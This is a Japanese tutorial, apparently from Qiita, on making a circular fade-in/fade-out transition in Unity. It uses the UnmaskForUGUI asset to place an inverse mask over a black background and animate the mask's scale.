通常のマスクは、マスクされた部分の画像のみを表示するものですが、逆マスクは、これとは逆に、マスクされた部分の画像のみを非表示にするものです。
下のUnmaskForUGUというアセット(MITライセンス)を利用します。
<br><br>


https://github.com/mob-sakai/UnmaskForUGUI


# 動作環境
下記エディターバージョンで動作確認済みです。<br>
- Unity2021.3.15f1<br>
- Unity2020.3.8f1

<h1>作成手順</h1>
黒背景画像と逆マスク用の円形画像を用意して、円形逆マスクを黒背景中央から徐々に拡大することで、黒背景を徐々に非表示にして、フェードインするトランジションを作ることができます（フェードアウトはこの逆のやり方で作れます）。具体的な手順は下記の通りです。

1. UnmaskForUGUの追加
Package Manager > Add package from git URLから下記URLを入力します。
https://github.com/mob-sakai/UnmaskForUGUI.git

2. Maskオブジェクトの作成
Canvasを作成して、その配下にMaskという名称の空のGameObjectを作成します。MaskオブジェクトにMaskコンポーネントとImageコンポーネントをアタッチします。ImageのColorは何でも良いです。Rect TransformをStretchに変えて、下の画像内のパラメータに設定します。
![スクリーンショット 2023-02-19 13.42.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/633154/e400dfea-a983-f5ce-db0b-962558d6f10d.png)


3. Blackオブジェクト（黒背景）の作成
Maskオブジェクト配下に空のGameObject(Blackという名称にします)を生成してColorが黒のImageコンポーネントをアタッチします。下の画像のようにRect TransformをStretchに変えて、この黒背景が画面全体を埋め尽くすようにします。ImageコンポーネントのMaskableにチェックを入れます。
![スクリーンショット 2023-02-19 13.43.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/633154/9abedfef-5622-125a-2a03-28fb5f2110e5.png)





4. UnMaskオブジェクト(逆マスク)の作成
Maskオブジェクト配下のBlackオブジェクトの上に空のGameObject(UnMaskという名称にします)を生成して、Image、Unmaskコンポーネントをアタッチします。ImageコンポーネントのSource imageに円形画像を指定して、Maskableのチェックを外します(Colorは何でも良いです)。
![スクリーンショット 2023-02-19 13.42.50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/633154/f78df8b0-ef31-f1e1-4dd8-06363e766b44.png)




5. UnMaskオブジェクトのScaleを変更するアニメーションの作成
UnMaskオブジェクトのScaleをいろいろ変更してみてください。黒背景画像のUnMaskに相当する部分が（円形状に）切り取られていることが分かると思います。つまり、UnMaskのScaleを0から徐々に増加（あるいは0に徐々に減少）させるアニメーションを作成することで冒頭動画のような円形状にフェードイン（フェードアウト）するトランジションを作ることができます。


![スクリーンショット 2023-02-19 13.43.56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/633154/860d5920-4482-c2b0-e185-d17d0fccc8cf.png)

![スクリーンショット 2023-02-19 13.44.11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/633154/ba8ae1b9-5efc-30c5-18f0-631170d7ed41.png)

# 配布
本トランジションは下記リンクから利用可能です。
MITライセンスとなります。

https://github.com/miya123123/CircleUnmaskTransition


<h1>参考URL</h1>

https://github.com/mob-sakai/UnmaskForUGUI
https://kan-kikuchi.hatenablog.com/entry/UnmaskForUGUI

# 変更履歴
- ver.0.1.0 初稿作成 2023/02/22
- ver.0.2.0 本トランジション配布ページ追加、冗長的な一部の文章（アニメーションの具体的な作成方法）を削除 2023/03/25